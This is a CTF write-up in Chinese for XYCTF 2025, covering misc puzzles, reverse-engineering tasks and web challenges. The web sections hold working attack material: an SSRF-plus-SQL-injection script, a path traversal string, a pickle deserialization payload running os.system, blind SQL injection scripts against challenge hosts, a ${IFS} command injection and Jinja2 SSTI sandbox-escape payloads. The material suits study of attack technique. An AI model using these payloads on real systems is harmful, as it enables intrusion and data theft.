
MISC
签个到吧
打开后发现时Brianfuck,尝试解一下,看看怎么说,这里解密失败了,丢给ai分析,应该是混淆或者替换把,让他写一个脚本 跑一下。


# -*- coding: utf-8 -*-
def locate_brackets(code):
"""建立 Brainfuck 代码中的括号跳转表"""
jumps, temp = {}, []
positions = [i for i, ch in enumerate(code) if ch in "[]"]
for idx in positions:
if code[idx] == "[":
temp.append(idx)
elif code[idx] == "]" and temp:
left = temp.pop()
jumps[left] = idx
jumps[idx] = left
return jumps
def execute_chunk(code_chunk, limit=10**6):
"""执行一个 Brainfuck 片段,返回 data[0] 的值"""
data, ptr, idx = [0], 0, 0
jumps = locate_brackets(code_chunk)
count = 0
while idx < len(code_chunk) and count < limit:
op = code_chunk[idx]
if op == "+":
data[ptr] = (data[ptr] + 1) % 256
elif op == "-":
data[ptr] = (data[ptr] - 1) % 256
elif op == ">":
ptr += 1
if ptr == len(data): data.append(0)
elif op == "<":
ptr = max(ptr - 1, 0)
elif op == "[":
if data[ptr] == 0 and idx in jumps:
idx = jumps[idx]
elif op == "]":
if data[ptr] != 0 and idx in jumps:
idx = jumps[idx]
idx += 1
count += 1
return data[0]
def cut_into_parts(text, sep='<[-]>'):
"""将文本按指定分隔符拆分为片段"""
blocks = text.split(sep)
output = []
for i, blk in enumerate(blocks):
if i == 0 and blk:
output.append(blk)
elif i > 0:
output.append(sep + blk)
return [b for b in output if b.strip()]
def decode(code_text):
"""处理多个 Brainfuck 片段,并组合 ASCII 输出"""
segments = cut_into_parts(code_text)
return "".join(
chr(val) for val in map(execute_chunk, segments)
if 0 < val < 256
)
if __name__ == "__main__":
encrypted = """">+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]"""
message = decode(encrypted)
print("解密后的消息:")
print(message)
flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}
XGCTF
题目给了提示说CTFshow的XGCTF,看一下LamentXU师傅出的题,找到了easy_pollute,去搜一下WP看看会不会找到LamentXU师傅的博客

看一下官方WP搜索到线索

去搜索

一下,功夫不负有心人终于找到了
https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted

会飞的雷克塞
直接看到唯曼医疗美容,搜到内江资中


明确定位到了春岚北路,收到提示,那附近还有一个特征,中铁城市中心多少期,多少期,最后尝试一下中铁城市中心内

Greedymen

ai分析的很全面啊,让他跑一个脚本试试。
!/usr/bin/env python3
import re
from pwn import *
--- 工具函数 ---
def get_factors(n):
"""返回 n 除自身以外的所有因数"""
return [d for d in range(1, n) if n % d == 0]
def valid_choice(n, board):
"""
判断数字 n 是否在board中且至少存在一个因数(1 ~ n-1)仍在board中
"""
if n not in board:
return False
factors = get_factors(n)
# 至少有一个因数还在board中
return any(d in board for d in factors)
def choose_move(board):
"""
从board中选取一个合法数字,计算每个数字的净收益:
gain = n - sum(f for f in factors if f in board)
返回净收益最大的数字,如果没有合法选择则返回None
"""
best_move = None
best_net = -10 ** 9
for n in board:
if valid_choice(n, board):
factors = get_factors(n)
opp_gain = sum(d for d in factors if d in board)
net = n - opp_gain
if net > best_net:
best_net = net
best_move = n
return best_move
def parse_board(data):
"""
从服务器返回的数据中解析出未分配数字列表,
假设形如 "Unassigned Numbers: [1, 2, 3, …]"
"""
m = re.search(r'Unassigned Numbers:\s*[([0-9,\s]+)]', data)
if m:
nums = m.group(1)
board = [int(x.strip()) for x in nums.split(',') if x.strip()]
return board
return None
def parse_counter(data):
"""
解析计数器,形如 "Counter: 19"
"""
m = re.search(r'Counter:\s*([0-9]+)', data)
if m:
return int(m.group(1))
return None
--- 主逻辑 ---
def main():
# 连接到远程服务
r = remote("47.94.15.198", 22536)
# 等待菜单提示
r.recvuntil(b"1.Play")
# 根据提示菜单,选择 Play
r.sendline(b"1")
# 有时可能需要选择关卡,此处假设选择 Level 1(你可以根据实际情况调整)
r.recvuntil(b"Level")
# 假设界面会提示 "Level 1/3 50 Numbers" 等
# 若需要输入关卡选择,根据实际提示选择即可,例如发送 "1"
# 如果没有提示可以注释下面这一行
r.sendline(b"1")
while True:
# 接收一轮数据,直到提示 "Choose a Number:" 出现
data = r.recvuntil(b"Choose a Number:").decode()
print(data)
# 解析未分配数字列表
board = parse_board(data)
if board is None:
print("未找到未分配数字列表")
break
# 检查计数器(可选)
counter = parse_counter(data)
if counter is None:
print("未解析到计数器")
break
# 根据当前局面选择数字
move = choose_move(board)
if move is None:
print("无合法选择,退出回合")
break
print("选择数字:", move)
# 发送选择
r.sendline(str(move).encode())
# 交互或者打印最终输出
r.interactive()
if name == 'main':
main()
跑到10406就停了,应该是脚本逻辑有点小问题,叫ai修改一下再

原来是前面的脚本遗漏了一个点,如果一个数的所有因数(包括1)已经被分配,则不能选。
修改一下这个函数:
def valid_choice(n, board):
if n not in board:
return False
factors = get_factors(n)
# 必须至少有一个因数仍在 board 中(包括 1)
return any(f in board for f in factors)
还是有点小问题,用chatgpt重新搞清楚逻辑,修改一个脚本:
# greedy_game_pwn_client.py
from pwn import *
import re
def precompute_strict_factors(n=200):
strict_factors = {}
for x in range(1, n + 1):
strict_factors[x] = [d for d in range(1, x) if x % d == 0]
return strict_factors
STRICT_FACTORS = precompute_strict_factors()
def get_available_numbers(unassigned, user_selected, opponent_selected):
available = []
for x in unassigned:
if x in user_selected or x in opponent_selected:
continue
if any(d not in user_selected and d not in opponent_selected for d in STRICT_FACTORS[x]):
available.append(x)
return available
def choose_best_number(available, user_selected, opponent_selected):
best = None
best_profit = float('-inf')
for x in available:
opp_gain = sum(d for d in STRICT_FACTORS[x] if d not in user_selected and d not in opponent_selected)
profit = x - opp_gain
if profit > best_profit or (profit == best_profit and (best is None or x > best)):
best = x
best_profit = profit
return best
def play_game(conn):
user_selected = set()
opponent_selected = set()
while True:
try:
data = conn.recvuntil(b"Choose a Number:", timeout=5)
print(data.decode(errors='ignore'))
unassigned = re.search(r"Unassigned Numbers: (\[.*?\])", data.decode())
counter = re.search(r"Counter: (\d+)", data.decode())
if not unassigned or not counter:
print("Failed to parse game state.")
return False
unassigned = eval(unassigned.group(1))
counter = int(counter.group(1))
available = get_available_numbers(unassigned, user_selected, opponent_selected)
if not available:
conn.sendline(b"0")
break
best = choose_best_number(available, user_selected, opponent_selected)
print(f"Choosing: {best}")
conn.sendline(str(best).encode())
user_selected.add(best)
for d in STRICT_FACTORS[best]:
if d not in user_selected and d not in opponent_selected:
opponent_selected.add(d)
if counter <= 1:
break
except EOFError:
break
except Exception as e:
print(f"Error during game loop: {e}")
return False
final = conn.recvuntil(b"1.Play\n2.Rules\n3.Quit\n", timeout=5)
print("Final Result:", final.decode(errors='ignore'))
return True
def main():
conn = remote('47.94.15.198', 22536)
welcome = conn.recvuntil(b"3.Quit\n")
print(welcome.decode(errors='ignore'))
for level in range(3):
print(f"\n--- Starting Level {level+1} ---")
conn.sendline(b"1")
if not play_game(conn):
print(f"Failed at level {level+1}")
break
print(f"--- Finished Level {level+1} ---")
conn.sendline(b"3") # Quit
flag = conn.recvall()
print("\nFlag:", flag.decode(errors='ignore'))
if __name__ == '__main__':
main()
precompute_strict_factors()
生成 1~200 每个数字的所有“真因数”。
get_available_numbers()
检查该数字是否未被选中,且存在至少一个未被占用的因数。
choose_best_number()
遍历所有可选数字,计算玩家得分与对手得分差值(净利润),取最大值。

曼波曼波曼波
打开zip发现一个二维码和一串什么东西,看起来像base64,但是等号在前面?

先扫一下二维码看看线索

ok被戏耍了0.0
写一个还原base64的脚本:
#!/usr/bin/env python3
def main():
input_file = "smn.txt"
output_file = "re_smn.txt"
try:
with open(input_file, "r", encoding="utf-8") as f:
data = f.read().strip()
except Exception as e:
print(f"读取文件失败: {e}")
return
# 还原(反转字符串)
restored = data[::-1]
try:
with open(output_file, "w", encoding="utf-8") as f:
f.write(restored)
print(f"还原后的内容已写入 {output_file}")
except Exception as e:
print(f"写入文件失败: {e}")
if __name__ == "__main__":
main()
拿到cyberchef看看,的确是图片

binwalk分离得到如下文件:


所有东西打开后就这些,密码似乎需要猜测,应该是XYCTF2025了,成功解密,

又是一张png?管他三七二十一,先看用stegsolve看看,条形码?

用bwmforpy3脚本看看有没有盲水印,ok啊成功跑出来,双盲水印

MADer也要当CTFer
mkv文件格式,查看视频没发现隐藏信息
尝试用MKVToolNix混流,导出字幕mks文件

发现十六进制数据,尝试from hex

RIFX的文件头,用word把十六进制数据都提取出来



这里没思路,查看题目描述

发现PRTShark的主页
第一个作品的评论区发现信息,联想到AE编辑视频

查阅发现可以导入RIFX

导入AE,显示需要安装TextDelay插件,安装后在隐藏图层找到flag
flag{l_re@IIy_w@nn@_2_Ie@rn_AE}
web
ezpuzzle
js源码分析,先尝试一下拼图,拼完发现没有在两秒钟内................拿不到flag
把源码和图片都下载到本地,把混沌的代码美化以下,
搜一下alert 查到如下逻辑,可以看到G是需要小于yw4,先不管是什么功能,尝试修改成>yw4试一下,再去拼图

然后就是拼图,一直拼,拼完就有flag

fate
总思路:
1、/proxy` 进行 SSRF 给本地端`
2、/1337` 接收得一个 binary 编码的 JSON
3、JSON 转 dict 时成功 bypass WAF
4、进行 SQL 漏洞查询,获取 FATE 结果
本题要绕过的点:
一、/proxy
线上接口:
封禁了所有英文字母 (a-zA-Z),防止使用正常的 URL
禁止了 URL 包含点 (.
),防止连接后端服务
二、 - /1337
本地接口:
只允许 127.0.0.1 访问
需要提供符合规范的 JSON payload,含 name
字段
name不能包含 '
和 )
,且长度限制
SQL 查询存在直接拼接漏洞
用数字IP表示和 @
符号进行 SSRF :
@2130706433:8080 -> 127.0.0.1:8080
lamentxu.top@2130706433:8080在 HTTP 解析中将后面的视为目标 host、避免了所有字母、
.` 的检查
通过构造 req['name'] 为 dict,而不是 str,这样就可以避免被WAF
同时为了符合无英文字符断言,采用Binary传输
import requests
def txt2bin(txt):
"""
将字符串转换为连续二进制串
"""
return ''.join(f'{ord(c):08b}' for c in txt)
def entry():
# 目标地址伪装
target = "http://eci-2ze4c3vjfup73v8af541.cloudeci1.ichunqiu.com:8080/proxy"
# 构造特殊结构JSON
crafted = '{"name":{"z\')))))))UNION SELECT FATE FROM FATETABLE WHERE NAME=\'LAMENTXU\' -- ":"y"}}'
# 转换为二进制形式以规避过滤
obf_bits = txt2bin(crafted)
print("二进制payload:")
print(obf_bits)
# 发起伪装请求
r = requests.get(
target,
params={
'url': f'@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1={obf_bits}'
}
)
print("内容:::")
print(r.text)
if __name__ == '__main__':
entry()
Signin
下载后得到源码:
利用以下构造把secret.txt读出来

download?filename=./..//.././..//../secret.txt
# @File : cs.py
# @Time : 2025/04/04 15:17:46
# @Author : Xu_DongCheng
# @Version : 1.0
# @Contact : 1330064686@qq.com
# @License : MIT LICENSE
import base64
import pickle
import os
class pickletest():
def __reduce__(self):
return (os.system, ("cat /flag_* > /1.txt",))
if __name__ == '__main__':
text = pickletest()
sertext = pickle.dumps(text)
print(base64.b64encode(sertext))
程序运行后得到pickle反序列化
b'gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRjYXQgL2ZsYWdfKiA+IC8xLnR4dJSFlFKULg=='
将本地bottle包中set_cookie的方法的encoded字段修改为上述反序列化后的字段

最后本地运行一个bottle的服务
# @File : main1.py
# @Time : 2025/04/04 16:05:06
# @Author : Xu_DongCheng
# @Version : 1.0
# @Contact : 1330064686@qq.com
# @License : MIT LICENSE
from bottle import Bottle, request, response, redirect, static_file, run, route
app = Bottle()
secret="Hell0_H@cker_Y0u_A3r_Sm@r7"
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='127.0.0.1', port=8080, debug=False)
然后访问本地的/secret就能看到生成的cookie
Cookie: name="!+G/FqBZbQ4u7jF3Wn3gRVRw18uISKFUm+29dfsYbkGM=?gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRjYXQgL2ZsYWdfKiA+IC8xLnR4dJSFlFKULg=="
最后访问服务器/secret

换上之前的cookie
访问secret路由得到如下

再将访问路径修改为
download?filename=./..//.././..//../1.txt

得到flag
ezsql(手动滑稽)
拿到题目有两个输入框,感觉是SQL注入测试一下,应该是在login.php页面下进行注入,用自动化工具跑一下,看看有没有过滤。

测试一下username参数进行fuzzy,响应大小为171的都被过滤了,ban的还挺多。

空格、逗号、like、and、union、||、/**/..........很多
但是能绕过空格过滤的注释符和%0a都没了
搜索到了一篇文章的%09 也就是tab的url编码没有被过滤,可以用来绕过空格。


同时OR和单引号也没有被ban 可以用来注入,根据经验,把联合注入的都过滤了,而且没有什么有效的回显页面,这道题应该考的是盲注。同时sql语句执行成功后会302跳转,可以此来判断是否注入成功,进行字符型布尔盲注。
爆数据库长度和名字
username=k3'%09or%09length(database())=6%23&password=1
username=k3'%09or%09ascii(substr(database()from(1)for(1)))=90%23&password=1
length:6,database:testdb
手注太慢了,sqlmap又跑不动,应该是cookie的问题。写脚本的时候加上cookie的特征值再试一下。
得到两张表分别为:double_check和user
# alt_blind_sqli_variant_v3.py
import requests
import string
import time
URL = "http://eci-2ze9d3w0o6fgch5c3evf.cloudeci1.ichunqiu.com/login.php"
COOKIE = {"PHPSESSID": "6b4f1a724e72635cc25fb148e3c2c15f"}
HEADERS = {
"User-Agent": "AltScanner",
"Content-Type": "application/x-www-form-urlencoded"
}
CHARS = string.ascii_letters + string.digits + "_"
DB = "testdb"
MAX_TABLES = 10
MAX_NAME_LEN = 30
def probe_payload(payload):
try:
resp = requests.post(
URL,
data=payload,
headers=HEADERS,
cookies=COOKIE,
timeout=10,
allow_redirects=False
)
time.sleep(0.5)
return resp.status_code == 302
except Exception as err:
print(f"[!] 请求失败: {err}")
return False
def discover_table_count(schema):
print("\n[!] 正在连接目标并识别数据表...")
for i in range(1, MAX_TABLES + 1):
pl = f"username=k3'%09or%09(select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema=\"{schema}\")={i}%23&password=1"
if probe_payload(pl):
print(f"[✓] `{schema}` 包含 {i} 张表")
return i
print("[×] 无法识别表数量")
return 0
def fetch_table_name(schema, index):
name = ""
for pos in range(1, MAX_NAME_LEN + 1):
found = False
for ch in CHARS:
ch_ascii = ord(ch)
pl = f"username=k3'%09or%09ascii(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema=\"{schema}\"%09limit%091%09offset%09{index})from({pos})for(1)))={ch_ascii}%23&password=1"
if probe_payload(pl):
name += ch
print(f"[.] 第{index + 1}表 第{pos}位: {ch}")
found = True
break
if not found:
if pos == 1:
return None
break
return name if name else None
def gather_table_names(schema):
table_count = discover_table_count(schema)
if not table_count:
return []
names = []
for i in range(table_count):
print(f"[*] 正在提取第 {i + 1} 个表...")
tname = fetch_table_name(schema, i)
if tname:
names.append(tname)
print(f"[+] 表 {i + 1}: {tname}")
else:
print("[-] 表名提取失败")
return names
if __name__ == "__main__":
schema = DB
all_tables = gather_table_names(schema)
print("\n[*] 扫描完成 - 结果如下")
if all_tables:
for idx, t in enumerate(all_tables, 1):
print(f" ({idx}) {t}")
else:
print("[×] 无法提取任何表名")

接下来爆字段名和内容:
# alt_blind_sqli_variant_v3.py
import requests
import time
import string
TARGET = "http://eci-2ze9d3w0o6fgch5c3evf.cloudeci1.ichunqiu.com/login.php"
COOKIE = {"PHPSESSID": "6b4f1a724e72635cc25fb148e3c2c15f"}
HEADERS = {
"User-Agent": "FieldSniper",
"Content-Type": "application/x-www-form-urlencoded"
}
POSSIBLE = string.ascii_letters + string.digits + "_"
FIELD_LIMIT = 30
ASCII_BOUNDS = (32, 127)
def request_field(payload: str) -> bool:
try:
res = requests.post(
TARGET,
data=payload,
headers=HEADERS,
cookies=COOKIE,
timeout=5,
allow_redirects=False
)
time.sleep(0.4)
return res.status_code == 302
except Exception as e:
print(f"[x] 错误: {e}")
return False
def enumerate_columns(table: str, index: int) -> str:
column = ""
print(f"\n[>] 提取 `{table}` 表中的第 {index + 1} 个字段名...")
for i in range(1, FIELD_LIMIT + 1):
matched = False
for ascii_code in range(*ASCII_BOUNDS):
inj = (
f"username=k3'%09or%09ascii(substr((select%09column_name%09from%09information_schema.columns"
f"%09where%09table_name=\"{table}\"%09limit%091%09offset%09{index})from({i})for(1)))={ascii_code}%23"
f"&password=1"
)
if request_field(inj):
column += chr(ascii_code)
print(f"[+] 第 {i} 位: {chr(ascii_code)} → {column}")
matched = True
break
if not matched:
print(f"[-] 第 {i} 位字段名字符未解析,终止。")
break
return column
def leak_field_value(tbl: str, col: str) -> str:
output = ""
print(f"\n[>] 提取字段 `{col}` 的内容来自 `{tbl}`...")
for idx in range(1, FIELD_LIMIT + 1):
matched = False
for code in range(*ASCII_BOUNDS):
inj = (
f"username=k3'%09or%09ascii(substr((select%09{col}%09from%09{tbl}%09limit%091)from({idx})for(1)))={code}%23"
f"&password=1"
)
if request_field(inj):
output += chr(code)
print(f"[+] 字符 {idx}: {chr(code)} → {output}")
matched = True
break
if not matched:
print(f"[-] 第 {idx} 字符未解析,停止提取。")
break
return output
if __name__ == "__main__":
tables = ["double_check", "user"]
for tbl in tables:
cols = []
for i in range(3): # 尝试枚举每个表的最多 3 个字段
cname = enumerate_columns(tbl, i)
if cname:
cols.append(cname)
else:
break
for col in cols:
val = leak_field_value(tbl, col)
print(f"\n[*] 表 `{tbl}` 中 `{col}` 字段的值: {val}")

double_check:secret(dtfrtkcc0czkoua9S)
user:username(yudeyoushang)、password(zhonghengyisheng)
登陆后输入刚好得到的secret,需要进行无回显代码执行。
试一下反弹shell,失败了,应该是有过滤,但是可以进行绕过,
把空格替换为${IFS}然后将flag重新写入到一个文件里看看能不能访问。
command=cat${IFS}/flag*>fff.txt`

Now you see me1
拿到源码后有一大堆hello world和base64加密字符

解密后得到源码:
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
经过分析,可以确认在使用 flask.render_template_string
时存在 SSTI 模板注入的风险。虽然系统采用了 lock_within
来限制部分功能,并结合了 audit_checker
钩子以及删除部分命令执行函数来加强防护,但漏洞仍可被利用。
关键点:
参数前缀要求:传入的参数必须以 Follow-your-heart-
为开头
注释绕过:模板中依然存在 {##}
注释机制,这使得利用者可以尝试通过传入 ?My_ins1de_w0r1d=Follow-your-heart-#}{#
(部分场景下可能需要将 #
替换为 %23
)来绕过注释过滤。
符号限制:由于 {{
和 }}
已被过滤,建议改用 {%print(xxxxx)%}
的格式来执行所需操作。
构造如下payload查看以下config:
?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(config)%}

交给ai分析,得到了waf之外的方法: request.referrer、 request.mimetype、 request.authorization.type, request.origin、request.authorization.token
后开始构造payload进行尝试ssti:
学习pythonsandbox逃逸和ssti的手法,可以利用到<class 'click.utils.LazyFile'>来进行ssti。
最终写脚本测试得到得到:x(为389)
#}{%print(().__class__.__base__.__subclasses__()
[x].__init__.__globals__.__getitem__('__builtins__').eval('print(successfull)'))%}{#
要提取诸如 class 之类的魔术属性,关键在于利用请求头来获取被屏蔽的字符串,然后借助 |attr() 操作符完成字符串拼接。首先,通过 request.mimetype 可获取 Content-Type 请求头的值,将其视为一个字符集合,并结合 getitem 方法提取所需字符。举例说明,如果 Content-Type 设置为 "abcdefghijklmnopqrstuvwxyz_",那么表达式
request.mimetype|attr('__getitem__')(-1)
将返回下划线 "_"。不过,由于 getitem 同样在黑名单中,此时可以借助 Origin 请求头传递 "getitem",通过 request.origin 获取该字符串,从而构造出如下表达式:
request.mimetype|attr(request.origin)(-1)
#快速构造字符串
lookup = {
'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'f': 5, 'g': 6, 'h': 7, 'i': 8, 'j': 9,
'k': 10, 'l': 11, 'm': 12, 'n': 13, 'o': 14, 'p': 15, 'q': 16, 'r': 17, 's': 18,
't': 19, 'u': 20, 'v': 21, 'w': 22, 'x': 23, 'y': 24, 'z': 25, '_': 26
}
def assemble_token(input_str):
tokens = []
for char in input_str:
tokens.append("request.mimetype|attr(request.origin)(" + str(lookup[char]) + ")")
return "~".join(tokens)
if __name__ == '__main__':
print(assemble_token("read"))
由于 os.popen 已被禁用,不能直接调用,所以最初选择使用 eval 而非直接调用 os。实际上,可以通过
__import__('os').popen('ls').read()
重新加载 os 模块实现远程代码执行。命令部分可以从 request.referrer 获取参数,虽然也可以逐步拼接,但这样做太繁琐。
在尝试读取 flag 时,发现文件异常庞大。根据 ifconfig 的输出,推测该题目可能存在出网限制,因此使用
python3 -m http.server 8000
下载到flag文件后可以用010Editor打开看到flag

Reverse
WARMUP
解码后得到:
Execute(chr( 667205/8665 ) & .....) & vbcrlf )
import re
# 你的完整脚本(这里只用一部分示例,实际替换为完整代码)
script = '''
Execute(chr( 667205/8665 ) & .....) & vbcrlf )
'''
# 提取 chr() 内的表达式
expressions = re.findall(r'chr\((.*?)\)', script)
# 计算并转换为字符,处理异常
result = ''
for expr in expressions:
try:
value = int(eval(expr)) # 计算表达式结果,强制转换为整数
if 0 <= value <= 0x10FFFF: # 检查是否在 Unicode 有效范围内
result += chr(value)
else:
print(f"Skipping invalid value: {value} from expression: {expr}")
except Exception as e:
print(f"Error evaluating {expr}: {e}")
print("Restored source code:")
print(result)
MsgBox "Dear CTFER. Have fun in XYCTF 2025!"
flag = InputBox("Enter the FLAG:", "XYCTF")
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df62255c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' C4
qwfe = "rc4key"
' RC4
Function RunRC(sMessage, strKey)
Dim kLen, i, j, temp, pos, outHex
Dim s(255), k(255)
' ?
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mi(dstrKey, (i Mod kLen) + 1, 1)) ' ASCII
Next
' KSA
j = 0
For i = 0 To 255
j = (j + s(i) + k(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next
' PRGA
i = 0 : j = 0 : outHex = ""
For pos = 1 To Len(sMessage)
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
' ?
Dim plainChar, cipherByte
plainChar = Asc(Mid(sMessage, pos, 1)) ' SCII
cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar
outHex =outHex & Right("0" & Hex(cipherByte), 2)
Next
RunRC = outHex
End Function
'
If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then
MsgBox "Congratulations! Correct FLAG!"
Else
MsgBox "Wrong flag."
End If
解密脚本:
import binascii
def rc4_engine(key_bytes, data_bytes):
"""RC4 解密核心逻辑,KSA + PRGA"""
sbox = list(range(256))
key_len = len(key_bytes)
# 初始化 S 盒
j = 0
for i in range(256):
j = (j + sbox[i] + key_bytes[i % key_len]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
# 生成伪随机字节流并与密文异或
result = bytearray()
i = j = 0
for byte in data_bytes:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
rnd = sbox[(sbox[i] + sbox[j]) % 256]
result.append(byte ^ rnd)
return bytes(result)
def hex_to_bytes(hex_string):
"""将十六进制字符串转换为字节序列"""
try:
return binascii.unhexlify(hex_string)
except binascii.Error as e:
print(f"[!] 无法解析十六进制密文: {e}")
return None
def decrypt_flag(key_str, hex_ciphertext):
"""主函数:RC4 解密流程封装"""
key_b = key_str.encode('ascii')
data_b = hex_to_bytes(hex_ciphertext)
if data_b is None:
return None
return rc4_engine(key_b, data_b)
if __name__

MOON
pyd逆向

可以看到是python3.11版本

配好环境 查看模块信息
import moon
print(help(moon))

里面涉及了一个check_flag函数用于接收我们的输入并进行校验, 还涉及了一个xor_crypt 函数

main中只调用了check_flag函数,那么就可以推测xor_crypt是check_flag函数中调用的加密 函数
xor_crypt函数中第一个参数seed_value对应的就是SEED数据, 第二个参数应该就是待加密 数据

而TARGET_HEX就是我们要校验的数据
In [60]: print(moon.TARGET_HEX)
426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7
转为数组
cipher = [int(moon.TARGET_HEX[i:i+2], 16) for i in range(0,
len(hex_string), 2)]
cipher
In [62]: print(cipher)
[66, 107, 135, 171, 208, 206, 170, 60, 88, 118, 27, 187, 1, 114, 96, 109, 216, 171, 6, 68, 145, 162, 167, 106, 249, 169, 62, 26, 229, 111, 168, 66, 6, 162, 247]
我们单独使用数据运行xor_crypt试试

是有返回数据的,前几位用flag{试试

可以发现前几位与cipher完全是一致,可以判定程序只用了xor_crypt进行一个简单的伪随机 数异或加密
import moon
cipher = [int(moon.TARGET_HEX[i:i + 2], 16) for i in range(0,
len(moon.TARGET_HEX), 2)]
# print(cipher)
inp = [0x61] * len(cipher)
tmp = moon.xor_crypt(moon.SEED, inp)
for i in range(len(cipher)):
print(chr(tmp[i] ^ inp[i] ^ cipher[i]), end='')
# flag{but_y0u_l00k3d_up_@t_th3_mOOn}
Dragon
解压看到里面是一个bc为后缀的文件(Dragon.hc)
首先将Dragon.hc转换为.s文件
apt install llvm llc Dragon.bc -o Dragon.s
